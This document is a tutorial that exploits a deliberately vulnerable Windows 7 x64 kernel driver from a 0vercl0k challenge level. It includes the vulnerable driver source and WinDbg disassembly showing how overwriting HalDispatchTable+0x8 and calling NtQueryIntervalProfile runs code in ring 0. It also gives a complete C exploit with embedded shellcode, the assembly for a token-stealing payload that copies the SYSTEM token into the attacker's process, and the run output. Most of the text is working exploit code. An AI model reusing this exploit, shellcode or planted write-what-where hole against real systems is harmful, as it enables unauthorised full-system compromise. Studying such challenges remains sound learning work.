Driver write-what-where vulnerability
In this article, we will exploit a write-what-where vulnerability in Windows 7 x64. To do that, we will use the last level of 0vercl0k: the level 3.
We need to do some changes to make a driver which work on a x64 system:
#include <Ntifs.h>
#include <stdio.h>
#include <string.h>
#define ERROR(_f_, _status_) DbgPrint("\r\n[!] Error at %s() : 0x%x\r\n", _f_, _status_)
#define IOCTL_WRIT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x804, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define DbgPrint(...) DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0x1337, __VA_ARGS__)
typedef unsigned int DWORD;
typedef unsigned char* PBYTE;
typedef unsigned char BYTE;
//
DRIVER_UNLOAD Unload;
DRIVER_INITIALIZE DriverEntry;
DRIVER_DISPATCH handleIOCTLs;
DRIVER_DISPATCH handleIRP;
//
typedef struct
{
PDWORD64 where;
DWORD64 what;
} L33TNESS,
*PL33TNESS;
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj , PUNICODE_STRING pRegistryPath)
{
DWORD i = 0;
NTSTATUS status;
UNICODE_STRING deviceName = {0}, symlinkName = {0};
PDEVICE_OBJECT pDevice = NULL;
pDriverObj->DriverUnload = Unload;
DbgPrint("[ Loading.. ]\r\n");
RtlInitUnicodeString(&deviceName, L"\\Device\\3");
RtlInitUnicodeString(&symlinkName, L"\\DosDevices\\3");
DbgPrint("[ Creating the device...]\n");
IoCreateDevice(
pDriverObj,
0,
&deviceName,
FILE_DEVICE_UNKNOWN,
FILE_DEVICE_SECURE_OPEN,
FALSE,
&pDevice
);
DbgPrint("[ Linking...]\n");
IoCreateSymbolicLink(&symlinkName, &deviceName);
for(; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
pDriverObj->MajorFunction[i] = handleIRP;
pDriverObj->MajorFunction[IRP_MJ_DEVICE_CONTROL] = handleIOCTLs;
return STATUS_SUCCESS;
}
NTSTATUS handleIRP(PDEVICE_OBJECT pDeviceObject, PIRP Irp)
{
return STATUS_SUCCESS;
}
NTSTATUS handleIOCTLs(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
PIO_STACK_LOCATION pIoStackLocation = NULL;
PL33TNESS ptr = NULL;
DWORD ioControlCode = 0, inputBufferLength = 0;
PVOID inputBuffer = 0;
pIoStackLocation = IoGetCurrentIrpStackLocation(pIrp);
ioControlCode = pIoStackLocation->Parameters.DeviceIoControl.IoControlCode;
inputBufferLength = pIoStackLocation->Parameters.DeviceIoControl.InputBufferLength;
inputBuffer = pIrp->AssociatedIrp.SystemBuffer;
switch(ioControlCode)
{
case IOCTL_WRIT:
{
if(inputBufferLength != 0 && inputBufferLength >= (sizeof(DWORD*) * 2))
{
ptr = (PL33TNESS)inputBuffer;
/* DROP IT LIKE ITS HOT, DROP IT LIKE ITS HOT */
*ptr->where = ptr->what;
}
else
DbgPrint("You must supply a buffer formated like that: [@address to write][value to be writed].\n");
break;
}
}
IoCompleteRequest(pIrp, IO_NO_INCREMENT);
return pIrp->IoStatus.Status;
}
VOID Unload(PDRIVER_OBJECT pDrivObj)
{
DbgPrint("[ Unloading.. ]\n");
return;
}
This time, we can see that we can write anything and where we want. But how to
execute a code with the SYSTEM right with that? NtQueryIntervalProfile will
help us.
HalDispatchTable is our friend
Let’s see what this function do:
kd> u nt!NtQueryIntervalProfile
nt!NtQueryIntervalProfile:
fffff800`029fff00 48895c2408 mov qword ptr [rsp+8],rbx
fffff800`029fff05 57 push rdi
fffff800`029fff06 4883ec20 sub rsp,20h
fffff800`029fff0a 488bda mov rbx,rdx
fffff800`029fff0d 65488b042588010000 mov rax,qword ptr gs:[188h]
fffff800`029fff16 408ab8f6010000 mov dil,byte ptr [rax+1F6h]
fffff800`029fff1d 4084ff test dil,dil
fffff800`029fff20 7416 je nt!NtQueryIntervalProfile+0x38 (fffff800`029fff38)
kd> u
nt!NtQueryIntervalProfile+0x22:
fffff800`029fff22 488b05d730ebff mov rax,qword ptr [nt!MmUserProbeAddress (fffff800`028b3000)]
fffff800`029fff29 483bd0 cmp rdx,rax
fffff800`029fff2c 480f43d0 cmovae rdx,rax
fffff800`029fff30 8b02 mov eax,dword ptr [rdx]
fffff800`029fff32 8902 mov dword ptr [rdx],eax
fffff800`029fff34 eb02 jmp nt!NtQueryIntervalProfile+0x38 (fffff800`029fff38)
fffff800`029fff36 eb14 jmp nt!NtQueryIntervalProfile+0x4c (fffff800`029fff4c)
fffff800`029fff38 e8830affff call nt!KeQueryIntervalProfile (fffff800`029f09c0)
kd> u nt!KeQueryIntervalProfile
nt!KeQueryIntervalProfile:
fffff800`029f09c0 4883ec38 sub rsp,38h
fffff800`029f09c4 85c9 test ecx,ecx
fffff800`029f09c6 7508 jne nt!KeQueryIntervalProfile+0x10 (fffff800`029f09d0)
fffff800`029f09c8 8b05b645e0ff mov eax,dword ptr [nt!KiProfileInterval (fffff800`027f4f84)]
fffff800`029f09ce eb3c jmp nt!KeQueryIntervalProfile+0x4c (fffff800`029f0a0c)
fffff800`029f09d0 83f901 cmp ecx,1
fffff800`029f09d3 7508 jne nt!KeQueryIntervalProfile+0x1d (fffff800`029f09dd)
fffff800`029f09d5 8b0515b8e8ff mov eax,dword ptr [nt!KiProfileAlignmentFixupInterval (fffff800`0287c1f0)]
kd> u
nt!KeQueryIntervalProfile+0x1b:
fffff800`029f09db eb2f jmp nt!KeQueryIntervalProfile+0x4c (fffff800`029f0a0c)
fffff800`029f09dd ba0c000000 mov edx,0Ch
fffff800`029f09e2 894c2420 mov dword ptr [rsp+20h],ecx
fffff800`029f09e6 4c8d4c2440 lea r9,[rsp+40h]
fffff800`029f09eb 8d4af5 lea ecx,[rdx-0Bh]
fffff800`029f09ee 4c8d442420 lea r8,[rsp+20h]
fffff800`029f09f3 ff156f52e0ff call qword ptr [nt!HalDispatchTable+0x8 (fffff800`027f5c68)]
fffff800`029f09f9 85c0 test eax,eax
We can see that if we call NtQueryIntervalProfile in ring3, Windows will call
KeQueryIntervalProfile in ring0 and the function pointed by
nt!HalDispatchTable+0x8! But what is HalDispatchTable? ReactOS will help us:
typedef struct {
ULONG Version;
pHalQuerySystemInformation HalQuerySystemInformation;
pHalSetSystemInformation HalSetSystemInformation;
pHalQueryBusSlots HalQueryBusSlots;
ULONG Spare1;
pHalExamineMBR HalExamineMBR;
#if 1 /* Not present in WDK 7600 */
pHalIoAssignDriveLetters HalIoAssignDriveLetters;
#endif
pHalIoReadPartitionTable HalIoReadPartitionTable;
pHalIoSetPartitionInformation HalIoSetPartitionInformation;
pHalIoWritePartitionTable HalIoWritePartitionTable;
pHalHandlerForBus HalReferenceHandlerForBus;
pHalReferenceBusHandler HalReferenceBusHandler;
pHalReferenceBusHandler HalDereferenceBusHandler;
pHalInitPnpDriver HalInitPnpDriver;
pHalInitPowerManagement HalInitPowerManagement;
pHalGetDmaAdapter HalGetDmaAdapter;
pHalGetInterruptTranslator HalGetInterruptTranslator;
pHalStartMirroring HalStartMirroring;
pHalEndMirroring HalEndMirroring;
pHalMirrorPhysicalMemory HalMirrorPhysicalMemory;
pHalEndOfBoot HalEndOfBoot;
pHalMirrorVerify HalMirrorVerify;
pHalGetAcpiTable HalGetCachedAcpiTable;
pHalSetPciErrorHandlerCallback HalSetPciErrorHandlerCallback;
#if defined(_IA64_)
pHalGetErrorCapList HalGetErrorCapList;
pHalInjectError HalInjectError;
#endif
} HAL_DISPATCH, *PHAL_DISPATCH;
kd> dq nt!HalDispatchTable
fffff800`027f5c60 00000000`00000004 fffff800`02c268e8
fffff800`027f5c70 fffff800`02c27470 fffff800`029f2d60
fffff800`027f5c80 00000000`00000000 fffff800`026cacb0
fffff800`027f5c90 fffff800`029a16b0 fffff800`029a2000
kd> u poi(nt!HalDispatchTable+0x8)
fffff800`02c268e8 fff3 push rbx
fffff800`02c268ea 55 push rbp
[...]
We can see that at HalDispatchTable+0x8 store a pointer to
HalQuerySystemInformation. Therefore, we just need to modify
HalDispatchTable+0x8 to point to our shellcode and call
NtQueryIntervalProfile to execute our shellcode in ring0. Fortunely for us,
HalDispatchTable is exported by name by ntoskrnl.exe, so we can found this
address easily:
- We load
ntoskrnl.exewithLoadLibrary - We use
GetProcAddressto findHalDispatchTableaddress in userland - We search the image base address of
ntoskrnlin kernelland withNtQuerySystemInformation(SystemModuleInformation) - And we obtain the final address with a little calculation:
HalDispatchTableuserland address -ntoskrnluserland address +ntoskrnlimage base address in kernelland
Finally, we need to replace the address at HalDispatchTable+0x8 with a valid
kernel function address to decrease the chances to get a BSOD. I have used
KeGetCurrentThread:
kd> u nt!KeGetCurrentThread
nt!PsGetCurrentThread:
fffff800`026ca2c0 65488b042588010000 mov rax,qword ptr gs:[188h]
fffff800`026ca2c9 c3 ret
Final exploit
I have used the same shellcode of previous levels to copy the system token in my process.
E:\>exploit.exe
[+] Search address of notskrnl.exe...
[+] HalDispatchTable in userland: 0x401F0C60
[+] HalDispatchTable in kernelland: 0x27F1C60
[+] Search NtAllocateVirtualMemory...
[+] Copy the shellcode...
[+] Execute NtQueryIntervalProfile
[+] New username: SystÞme
[+] Modify HalDispatchTable+0x8 to point on KeGetCurrentThread
[+] KeGetCurrentThread in userland: 0x400C92C0
[+] KeGetCurrentThread in kernelland: 0x26CA2C0
[+] Executing a new command console to test it...
#include <windows.h>
#include <winioctl.h>
#include <stdio.h>
#include <stdlib.h>
#define IOCTL_WRIT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x804, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define DEVICE_NAME "\\\\.\\3"
typedef enum {
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemPathInformation,
SystemProcessInformation,
SystemCallCountInformation,
SystemDeviceInformation,
SystemProcessorPerformanceInformation,
SystemFlagsInformation,
SystemCallTimeInformation,
SystemModuleInformation
} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS;
typedef struct
{
PVOID Reserved1;
PVOID Reserved2;
PVOID ImageBaseAddress;
ULONG ImageSize;
ULONG Flags;
WORD Id;
WORD Rank;
WORD w018;
WORD NameOffset;
BYTE Name[256];
} SYSTEM_MODULE, *PSYSTEM_MODULE;
typedef struct
{
ULONG ModulesCount;
SYSTEM_MODULE Modules[0];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef DWORD (WINAPI* _NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG);
typedef DWORD (WINAPI* _NtAllocateVirtualMemory)(HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);
typedef DWORD (WINAPI* _NtQueryIntervalProfile)(DWORD, PULONG);
typedef struct
{
PDWORD64 where;
DWORD64 what;
} L33TNESS,
*PL33TNESS;
BYTE shellcode[] = "\x53\x51\x52\x57\x56\x6A\xFF\x6A\xFF\x65\x48\x8B\x14\x25\x88\x01\x00\x00\x48\x8B\x52\x70\x48\x81\xC2\x88\x01"
"\x00\x00\x48\x89\xD3\x48\x8B\x42\xF8\x48\x83\xF8\x04\x74\x19\x48\xB9\x41\x41\x41\x41\x41\x41\x41\x41\x48\x39"
"\xC8\x74\x11\x48\x8B\x12\x48\x39\xDA\x74\x31\xEB\xDD\x48\x89\x54\x24\x08\xEB\x04\x48\x89\x14\x24\x48\xC7\xC1"
"\xFF\xFF\xFF\xFF\x48\x39\x0C\x24\x74\xDE\x48\x39\x4C\x24\x08\x74\xD7\x5F\x5E\x48\x8B\x86\x80\x00\x00\x00\x48"
"\x89\x87\x80\x00\x00\x00\x5E\x5F\x5A\x59\x5B\xC3";
void replacePattern(char buffer[], int bufferSize, DWORD64 pattern, DWORD64 value) {
BOOL found = FALSE;
int i;
for (i = 0; i < bufferSize; i++) {
if (*(PDWORD64)(buffer + i) == pattern) {
found = TRUE;
*(PDWORD64)(buffer + i) = value;
}
}
return found;
}
PVOID getKernelBase() {
PVOID ntdll = NULL;
_NtQuerySystemInformation NtQuerySystemInformation = NULL;
DWORD sizeInfo = 0;
DWORD error = 0;
PSYSTEM_MODULE_INFORMATION moduleList = NULL;
PVOID kernelBase = NULL;
int i = 0;
ntdll = GetModuleHandle("ntdll.dll");
if (ntdll == NULL) {
printf("[-] Can't found ntdll");
return NULL;
}
NtQuerySystemInformation = GetProcAddress(ntdll, "NtQuerySystemInformation");
NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &sizeInfo);
if (sizeInfo == 0) {
printf("[-] NtQuerySystemInformation return 0 for information size\n");
return NULL;
}
moduleList = (PSYSTEM_MODULE_INFORMATION) malloc(sizeInfo);
error = NtQuerySystemInformation(SystemModuleInformation, moduleList, sizeInfo, NULL);
if (error != 0) {
printf("[-] NtQuerySystemInformation error: 0x%X (struct size: 0x%X)\n", error, sizeInfo);
free(moduleList);
return NULL;
}
kernelBase = moduleList->Modules[0].ImageBaseAddress;
free(moduleList);
return kernelBase;
}
int main()
{
HANDLE hDevice = NULL;
L33TNESS l33t = {0};
DWORD byte = 0;
PVOID ntoskrnl = NULL;
PVOID HalDispatchTable = NULL;
PVOID originalValue = NULL;
PVOID kernelBase = NULL;
DWORD error = 0;
PVOID leetAddress = 0x1337;
DWORD sizeofShellcode = sizeof(shellcode);
_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;
_NtQueryIntervalProfile NtQueryIntervalProfile = NULL;
PVOID KeGetCurrentThread = NULL;
ULONG wtf = 0;
char username[255] = {0};
DWORD sizeofUsername = 255;
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
printf("[+] Search address of notskrnl.exe...\n");
ntoskrnl = LoadLibrary("ntoskrnl.exe");
if (ntoskrnl == NULL) {
printf("[-] Can't load ntoskrnl.exe\n");
return EXIT_FAILURE;
}
HalDispatchTable = GetProcAddress(ntoskrnl, "HalDispatchTable");
if (HalDispatchTable == NULL) {
printf("[-] Can't found HalDispatchTable in ntoskrnl.exe\n");
return EXIT_FAILURE;
}
printf("[+] HalDispatchTable in userland: 0x%X\n", HalDispatchTable);
kernelBase = getKernelBase();
if (kernelBase == NULL) {
printf("[-] Can't find the kernel base\n");
return EXIT_FAILURE;
}
HalDispatchTable = (DWORD64) HalDispatchTable - (DWORD64) ntoskrnl + (DWORD64) kernelBase;
printf("[+] HalDispatchTable in kernelland: 0x%X\n", HalDispatchTable);
printf("[+] Search NtAllocateVirtualMemory...\n");
NtAllocateVirtualMemory = (_NtAllocateVirtualMemory) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtAllocateVirtualMemory");
if(NtAllocateVirtualMemory == NULL) {
printf("[-] Error with GetProcAddress : %.8x\n", GetLastError());
return EXIT_FAILURE;
}
printf("[+] Copy the shellcode...\n");
error = NtAllocateVirtualMemory(GetCurrentProcess(), &leetAddress, NULL, &sizeofShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(error != 0) {
printf("[-] Error with NtAllocateVirtualMemory : %.8x\n", error);
return EXIT_FAILURE;
}
replacePattern(shellcode, sizeof(shellcode), 0x4141414141414141, GetCurrentProcessId()); // Process PID
memcpy(leetAddress, shellcode, sizeof(shellcode));
hDevice = CreateFile(DEVICE_NAME, GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hDevice == INVALID_HANDLE_VALUE)
{
printf("[-] Error with Createfile : %.8x.\n", GetLastError());
return EXIT_FAILURE;
}
l33t.where = (DWORD64) HalDispatchTable + sizeof(PVOID);
l33t.what = leetAddress;
DeviceIoControl(hDevice, IOCTL_WRIT, &l33t, sizeof(l33t), NULL, 0, &byte, NULL);
NtQueryIntervalProfile = GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile");
if (NtQueryIntervalProfile == NULL) {
printf("[-] Can't find NtQueryIntervalProfile\n");
return EXIT_FAILURE;
}
printf("[+] Execute NtQueryIntervalProfile\n");
NtQueryIntervalProfile(2, &wtf);
GetUserNameA(username, &sizeofUsername);
printf("[+] New username: %s\n", username);
printf("[+] Modify HalDispatchTable+0x8 to point on KeGetCurrentThread\n");
KeGetCurrentThread = GetProcAddress(ntoskrnl, "KeGetCurrentThread");
if (KeGetCurrentThread == NULL) {
printf("[-] Can't found KeGetCurrentThread in ntoskrnl.exe\n");
return EXIT_FAILURE;
}
printf("[+] KeGetCurrentThread in userland: 0x%X\n", KeGetCurrentThread);
KeGetCurrentThread = (DWORD64) KeGetCurrentThread - (DWORD64) ntoskrnl + (DWORD64) kernelBase;
printf("[+] KeGetCurrentThread in kernelland: 0x%X\n", KeGetCurrentThread);
l33t.where = (DWORD64) HalDispatchTable + sizeof(PVOID);
l33t.what = KeGetCurrentThread;
DeviceIoControl(hDevice, IOCTL_WRIT, &l33t, sizeof(l33t), NULL, 0, &byte, NULL);
CloseHandle(hDevice);
printf("[+] Executing a new command console to test it...\n");
si.cb = sizeof(si);
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
return EXIT_SUCCESS;
}
format PE64 GUI 4.0
start:
; We save the registers
push rbx
push rcx
push rdx
push rdi
push rsi
;--------------------------------
; Stack
;--------------------------------
; RSP-8: EPROCESS+0x188 system
;--------------------------------
; RSP-4: EPROCESS+0x188 exploit
;--------------------------------
push 0xFFFFFFFFFFFFFFFF
push 0xFFFFFFFFFFFFFFFF
mov rdx, [gs:qword 0x188] ; +0x180 PrcbData : _KPRCB | +0x008 CurrentThread : _KTHREAD
mov rdx, [rdx + 0x70] ; +0x050 ApcState : _KAPC_STATE | +0x020 Process : _KPROCESS
add rdx, 0x188 ; +0x188 ActiveProcessLinks : _LIST_ENTRY
mov rbx, rdx ; Our linked list \o/ We save the first structure
searchProcess:
mov rax, [rdx - 0x8] ; +0x180 UniqueProcessId
cmp rax, 0x4 ; SYSTEM PID
je sysProcFound
mov rcx, 0x4141414141414141 ; Our exploit PID
cmp rax, rcx ; cmp reg64, imm64 don't exist
je exploitProcFound
nextProcess:
mov rdx, [rdx] ; Next process (Flink)
cmp rdx, rbx ; We are back at the starting point
je retApp
jmp searchProcess ; We loop!
sysProcFound:
mov [rsp+8], rdx
jmp allPIDFound
exploitProcFound:
mov [rsp], rdx
allPIDFound:
mov rcx, 0xFFFFFFFFFFFFFFFF
cmp [rsp], rcx
je nextProcess
cmp [rsp+8], rcx
je nextProcess
; We copy the SYSTEM token
pop rdi ; Exploit
pop rsi ; System
mov rax, [rsi + 0x80] ; 0x208 - 0x188 = 0x80 | +0x208 Token : _EX_FAST_REF
mov [rdi + 0x80], rax
retApp:
; Restore the registers
pop rsi
pop rdi
pop rdx
pop rcx
pop rbx
ret